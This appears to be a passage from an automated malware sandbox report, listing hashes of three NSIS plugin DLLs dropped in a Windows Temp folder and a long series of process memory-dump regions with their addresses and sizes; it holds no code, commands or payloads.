SHA1b058e3fcfb7b550041da16bf10d8837024c38bf6
SHA25630c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
SHA512f91fcea19cbddf8086affcb63fe599dc2b36351fc81ac144f58a80a524043ddeaa3943f36c86ebae45dd82e8faf622ea7b7c9b776e74c54b93df2963cfe66cc7
-
\Users\Admin\AppData\Local\Temp\nsx47D4.tmp\System.dllMD5
48e84bafe66b0d102c4774aea001a97f
SHA1a3ea3dc4a09f74f5c107f23e4eb1a3628b191a84
SHA2564861517735d1264e52f54c3d559607e2a2c23c1c7ea447812f2a2e227450fb8e
SHA512663d0c8f3808b95d20e2b8ce3759da964ce825fb5b0070e0f8b7d7a1d78141e19e4213fc3f6a41d388def39a2697271234571884c038c3cf8deecc48491f1622
-
\Users\Admin\AppData\Local\Temp\nsx47D4.tmp\UserInfo.dllMD5
0713da31db1060c9928d6a4a075df8c7
SHA1c098f4b21ecb10ab0bb75fe6b8d51934b0351306
SHA256c941d8015271b2078208e2c015e6314ba42ba630cbfcfc7be1123c92fa0f98d5
SHA51243ab427022ff07a6b639d6313623f36c662c331a839d22a606aac87d99f123bc6470044d68ee296e3f2ccdfbc6015f1573b1886eefafc77e7cdcf0d5f7ceb201
-
\Users\Admin\AppData\Local\Temp\nsx47D4.tmp\nsisFile.dllMD5
b7d0d765c151d235165823b48554e442
SHA1fe530e6c6fd60392d4ce611b21ec9daad3f1bc84
SHA256a820a32e5ce89e3e336afc71aa1bf42a357ec542c2bc6e50c6255c1333812587
SHA5125d801c24dfa1b7326f72f9c0acf3a330ef0cc3fce25ceee200bb12eab8c2b653025602e610e0cecda1e7cbd851ce1b66252531220b557a378ddb0b4a1741fa66
-
memory/60-126-0x0000000000000000-mapping.dmp
-
memory/316-372-0x0000013F47500000-0x0000013F47572000-memory.dmpFilesize
456KB
-
memory/432-303-0x0000000000A30000-0x0000000000A31000-memory.dmpFilesize
4KB
-
memory/432-317-0x0000000004910000-0x0000000004911000-memory.dmpFilesize
4KB
-
memory/432-270-0x0000000000000000-mapping.dmp
-
memory/432-302-0x0000000004880000-0x00000000048C9000-memory.dmpFilesize
292KB
-
memory/432-315-0x000000000DC70000-0x000000000DC71000-memory.dmpFilesize
4KB
-
memory/432-298-0x0000000000740000-0x0000000000741000-memory.dmpFilesize
4KB
-
memory/432-311-0x000000000D570000-0x000000000D571000-memory.dmpFilesize
4KB
-
memory/432-286-0x0000000000050000-0x0000000000051000-memory.dmpFilesize
4KB
-
memory/516-157-0x0000000000000000-mapping.dmp
-
memory/676-272-0x0000000000000000-mapping.dmp
-
memory/676-273-0x0000000000130000-0x0000000000131000-memory.dmpFilesize
4KB
-
memory/768-297-0x00000000033B0000-0x00000000033B1000-memory.dmpFilesize
4KB
-
memory/768-274-0x0000000000000000-mapping.dmp
-
memory/896-405-0x00000205C6E40000-0x00000205C6EB2000-memory.dmpFilesize
456KB
-
memory/916-255-0x0000000000400000-0x000000000089C000-memory.dmpFilesize
4.6MB
-
memory/916-221-0x0000000000000000-mapping.dmp
-
memory/916-239-0x00000000008A0000-0x00000000008E9000-memory.dmpFilesize
292KB
-
memory/1040-122-0x0000000000000000-mapping.dmp
-
memory/1072-403-0x0000021564960000-0x00000215649D2000-memory.dmpFilesize
456KB
-
memory/1192-439-0x0000019251380000-0x00000192513F2000-memory.dmpFilesize
456KB
-
memory/1220-257-0x0000000000000000-mapping.dmp
-
memory/1220-263-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/1260-222-0x0000000000000000-mapping.dmp
-
memory/1272-264-0x00000000061C0000-0x000000000630A000-memory.dmpFilesize
1.3MB
-
memory/1272-235-0x0000000000000000-mapping.dmp
-
memory/1284-421-0x0000023664700000-0x0000023664772000-memory.dmpFilesize
456KB
-
memory/1316-208-0x0000000000000000-mapping.dmp
-
memory/1348-162-0x0000000000000000-mapping.dmp
-
memory/1384-131-0x0000000000000000-mapping.dmp
-
memory/1388-407-0x000001DE2D490000-0x000001DE2D502000-memory.dmpFilesize
456KB
-
memory/1468-210-0x0000000000000000-mapping.dmp
-
memory/1472-243-0x0000000006670000-0x0000000006671000-memory.dmpFilesize
4KB
-
memory/1472-282-0x00000000074A0000-0x00000000074A1000-memory.dmpFilesize
4KB
-
memory/1472-287-0x0000000007610000-0x0000000007611000-memory.dmpFilesize
4KB
-
memory/1472-276-0x0000000006C90000-0x0000000006C91000-memory.dmpFilesize
4KB
-
memory/1472-330-0x0000000007A30000-0x0000000007A31000-memory.dmpFilesize
4KB
-
memory/1472-252-0x00000000066C2000-0x00000000066C3000-memory.dmpFilesize
4KB
-
memory/1472-242-0x00000000066C0000-0x00000000066C1000-memory.dmpFilesize
4KB
-
memory/1472-230-0x0000000002A70000-0x0000000002A71000-memory.dmpFilesize
4KB
-
memory/1472-226-0x0000000002A70000-0x0000000002A71000-memory.dmpFilesize
4KB
-
memory/1472-206-0x0000000000000000-mapping.dmp
-
memory/1476-224-0x0000000000000000-mapping.dmp
-
memory/1508-179-0x0000000000000000-mapping.dmp
-
memory/1508-197-0x000000006FE40000-0x000000006FFC6000-memory.dmpFilesize
1.5MB
-
memory/1508-192-0x000000006B440000-0x000000006B4CF000-memory.dmpFilesize
572KB
-
memory/1508-200-0x0000000064940000-0x0000000064959000-memory.dmpFilesize
100KB
-
memory/1508-193-0x000000006B440000-0x000000006B4CF000-memory.dmpFilesize
572KB
-
memory/1508-194-0x000000006B440000-0x000000006B4CF000-memory.dmpFilesize
572KB
-
memory/1508-195-0x000000006FE40000-0x000000006FFC6000-memory.dmpFilesize
1.5MB
-
memory/1508-196-0x000000006FE40000-0x000000006FFC6000-memory.dmpFilesize
1.5MB
-
memory/1508-198-0x000000006FE40000-0x000000006FFC6000-memory.dmpFilesize
1.5MB
-
memory/1508-199-0x000000006B280000-0x000000006B2A6000-memory.dmpFilesize
152KB
-
memory/1508-205-0x0000000064940000-0x0000000064959000-memory.dmpFilesize
100KB
-
memory/1508-203-0x0000000064940000-0x0000000064959000-memory.dmpFilesize
100KB
-
memory/1508-201-0x0000000064940000-0x0000000064959000-memory.dmpFilesize
100KB
-
memory/1512-246-0x0000000000000000-mapping.dmp
-
memory/1568-166-0x0000000000000000-mapping.dmp
-
memory/1684-176-0x0000000000000000-mapping.dmp
-
memory/1836-278-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/1836-267-0x0000000000000000-mapping.dmp
-
memory/1848-254-0x0000000000A50000-0x0000000000A52000-memory.dmpFilesize
8KB
-
memory/1848-228-0x00000000002A0000-0x00000000002A1000-memory.dmpFilesize
4KB
-
memory/1848-240-0x00000000009B0000-0x00000000009B1000-memory.dmpFilesize
4KB
-
memory/1848-217-0x0000000000000000-mapping.dmp
-
memory/1928-414-0x0000022BE1ED0000-0x0000022BE1F42000-memory.dmpFilesize
456KB
-
memory/1948-211-0x0000000000000000-mapping.dmp
-
memory/1956-213-0x0000000000000000-mapping.dmp
-
memory/1964-216-0x0000000000000000-mapping.dmp
-
memory/1988-146-0x0000000000000000-mapping.dmp
-
memory/2012-169-0x0000000000000000-mapping.dmp
-
memory/2020-142-0x0000000000000000-mapping.dmp
-
memory/2084-212-0x0000000000000000-mapping.dmp
-
memory/2104-219-0x0000000000000000-mapping.dmp
-
memory/2120-227-0x0000000003620000-0x0000000003621000-memory.dmpFilesize
4KB
-
memory/2120-231-0x0000000003620000-0x0000000003621000-memory.dmpFilesize
4KB
-
memory/2120-245-0x00000000075F0000-0x00000000075F1000-memory.dmpFilesize
4KB
-
memory/2120-249-0x00000000075F2000-0x00000000075F3000-memory.dmpFilesize
4KB
-
memory/2120-247-0x0000000007C30000-0x0000000007C31000-memory.dmpFilesize
4KB
-
memory/2120-293-0x00000000082C0000-0x00000000082C1000-memory.dmpFilesize
4KB
-
memory/2120-207-0x0000000000000000-mapping.dmp
-
memory/2128-389-0x0000000000A60000-0x0000000000A8F000-memory.dmpFilesize
188KB
-
memory/2128-392-0x0000000000400000-0x000000000088F000-memory.dmpFilesize
4.6MB
-
memory/2240-150-0x0000000000000000-mapping.dmp
-
memory/2240-204-0x0000000000000000-mapping.dmp
-
memory/2308-220-0x0000000000000000-mapping.dmp
-
memory/2404-214-0x0000000000000000-mapping.dmp
-
memory/2416-393-0x00000244C77B0000-0x00000244C7822000-memory.dmpFilesize
456KB
-
memory/2456-383-0x0000014C98CD0000-0x0000014C98D42000-memory.dmpFilesize
456KB
-
memory/2616-347-0x00000175AFE90000-0x00000175AFEDD000-memory.dmpFilesize
308KB
-
memory/2616-357-0x00000175B0970000-0x00000175B09E2000-memory.dmpFilesize
456KB
-
memory/2676-171-0x0000000000000000-mapping.dmp
-
memory/2720-218-0x0000000000000000-mapping.dmp
-
memory/2728-430-0x0000021288030000-0x00000212880A2000-memory.dmpFilesize
456KB
-
memory/2748-440-0x000001AD9C7A0000-0x000001AD9C812000-memory.dmpFilesize
456KB
-
memory/3008-314-0x00000000014A0000-0x00000000014B6000-memory.dmpFilesize
88KB
-
memory/3020-115-0x0000000002610000-0x0000000002611000-memory.dmpFilesize
4KB
-
memory/3020-116-0x0000000002610000-0x0000000002611000-memory.dmpFilesize
4KB
-
memory/3052-209-0x0000000000000000-mapping.dmp
-
memory/3092-172-0x0000000000000000-mapping.dmp
-
memory/3124-253-0x0000000000400000-0x0000000000883000-memory.dmpFilesize
4.5MB
-
memory/3124-256-0x0000000000030000-0x0000000000039000-memory.dmpFilesize
36KB
-
memory/3124-233-0x0000000000000000-mapping.dmp
-
memory/3168-237-0x0000000000000000-mapping.dmp
-
memory/3168-271-0x00000000062D0000-0x000000000641A000-memory.dmpFilesize
1.3MB
-
memory/3196-215-0x0000000000000000-mapping.dmp
-
memory/3272-376-0x0000023AD9710000-0x0000023AD9782000-memory.dmpFilesize
456KB
-
memory/3280-296-0x0000000002C10000-0x0000000002C11000-memory.dmpFilesize
4KB
-
memory/3280-277-0x0000000000000000-mapping.dmp
-
memory/3316-238-0x0000000000DA0000-0x0000000000DA2000-memory.dmpFilesize
8KB
-
memory/3316-223-0x0000000000000000-mapping.dmp
-
memory/3316-225-0x00000000008C0000-0x00000000008C1000-memory.dmpFilesize
4KB
-
memory/3520-202-0x0000000000000000-mapping.dmp
-
memory/3540-285-0x0000000004ED0000-0x0000000004ED1000-memory.dmpFilesize
4KB
-
memory/3540-236-0x0000000000000000-mapping.dmp
-
memory/3540-260-0x0000000004910000-0x0000000004911000-memory.dmpFilesize
4KB
-
memory/3540-248-0x0000000000070000-0x0000000000071000-memory.dmpFilesize
4KB
-
memory/3540-268-0x00000000023F0000-0x00000000023F1000-memory.dmpFilesize
4KB
-
memory/3540-266-0x0000000002430000-0x0000000002431000-memory.dmpFilesize
4KB
-
memory/3556-280-0x0000000000000000-mapping.dmp
-
memory/3556-291-0x0000000000760000-0x0000000000761000-memory.dmpFilesize
4KB
-
memory/3556-299-0x00000000027F0000-0x00000000027F1000-memory.dmpFilesize
4KB
-
memory/3556-312-0x0000000004FA0000-0x0000000004FA1000-memory.dmpFilesize
4KB
-
memory/3724-269-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/3724-261-0x0000000000000000-mapping.dmp
-
memory/3780-265-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/3780-259-0x0000000000000000-mapping.dmp
-
memory/3880-281-0x0000000000000000-mapping.dmp
-
memory/3880-283-0x0000000000100000-0x0000000000101000-memory.dmpFilesize
4KB
-
memory/3880-288-0x0000000000100000-0x0000000000101000-memory.dmpFilesize
4KB
-
memory/3928-448-0x0000000001290000-0x0000000001292000-memory.dmpFilesize
8KB
-
memory/4156-355-0x0000000000000000-mapping.dmp
-
memory/4172-418-0x00000000001D0000-0x0000000000200000-memory.dmpFilesize
192KB
-
memory/4172-424-0x0000000000400000-0x0000000000896000-memory.dmpFilesize
4.6MB
-
memory/4172-427-0x0000000002504000-0x0000000002506000-memory.dmpFilesize
8KB
-
memory/4172-433-0x0000000002502000-0x0000000002503000-memory.dmpFilesize
4KB
-
memory/4172-436-0x0000000002503000-0x0000000002504000-memory.dmpFilesize
4KB
-
memory/4172-429-0x0000000002500000-0x0000000002501000-memory.dmpFilesize
4KB
-
memory/4176-343-0x0000000004C20000-0x0000000004C21000-memory.dmpFilesize
4KB
-
memory/4176-292-0x0000000000000000-mapping.dmp
-
memory/4176-304-0x00000000003C0000-0x00000000003C1000-memory.dmpFilesize
4KB
-
memory/4176-318-0x0000000004550000-0x0000000004598000-memory.dmpFilesize
288KB
-
memory/4176-308-0x0000000000D60000-0x0000000000D61000-memory.dmpFilesize
4KB
-
memory/4176-326-0x00000000024E0000-0x00000000024E1000-memory.dmpFilesize
4KB
-
memory/4204-379-0x00000000051C0000-0x00000000057C6000-memory.dmpFilesize
6.0MB
-
memory/4204-344-0x0000000000418542-mapping.dmp
-
memory/4376-301-0x0000000000000000-mapping.dmp
-
memory/4456-306-0x0000000000000000-mapping.dmp
-
memory/4492-307-0x0000000000000000-mapping.dmp
-
memory/4492-309-0x0000000000E50000-0x0000000000E51000-memory.dmpFilesize
4KB
-
memory/4492-323-0x000000001BA60000-0x000000001BA62000-memory.dmpFilesize
8KB
-
memory/4492-316-0x0000000001560000-0x0000000001561000-memory.dmpFilesize
4KB
-
memory/4592-313-0x0000000000000000-mapping.dmp
-
memory/4592-319-0x0000000000F30000-0x0000000000FDE000-memory.dmpFilesize
696KB
-
memory/4592-321-0x00000000012A0000-0x00000000012B2000-memory.dmpFilesize
72KB
-
memory/4672-378-0x0000000000C70000-0x0000000000D46000-memory.dmpFilesize
856KB
-
memory/4672-351-0x0000000000400000-0x00000000008EF000-memory.dmpFilesize
4.9MB
-
memory/4672-320-0x0000000000000000-mapping.dmp
-
memory/4672-328-0x0000000000AC2000-0x0000000000B3E000-memory.dmpFilesize
496KB
-
memory/4708-322-0x0000000000000000-mapping.dmp
-
memory/4728-386-0x0000000004140000-0x000000000419D000-memory.dmpFilesize
372KB
-
memory/4728-362-0x0000000003FD5000-0x00000000040D6000-memory.dmpFilesize
1.0MB
-
memory/4728-324-0x0000000000000000-mapping.dmp
-
memory/4748-325-0x0000000000000000-mapping.dmp
-
memory/4748-368-0x0000000005770000-0x0000000005771000-memory.dmpFilesize
4KB
-
memory/4772-327-0x0000000000000000-mapping.dmp
-
memory/4772-329-0x00000000004C0000-0x00000000004C1000-memory.dmpFilesize
4KB
-
memory/4772-360-0x000000001BC30000-0x000000001BC32000-memory.dmpFilesize
8KB
-
memory/4876-394-0x000000001BE60000-0x000000001BE62000-memory.dmpFilesize
8KB
-
memory/4876-332-0x0000000000000000-mapping.dmp
-
memory/5068-348-0x0000000000000000-mapping.dmp
-
memory/5608-470-0x0000000000BD0000-0x0000000000BFF000-memory.dmpFilesize
188KB
-
memory/5744-452-0x00000000010D0000-0x000000000121A000-memory.dmpFilesize
1.3MB
-
memory/5784-453-0x00000000016A0000-0x00000000016A1000-memory.dmpFilesize
4KB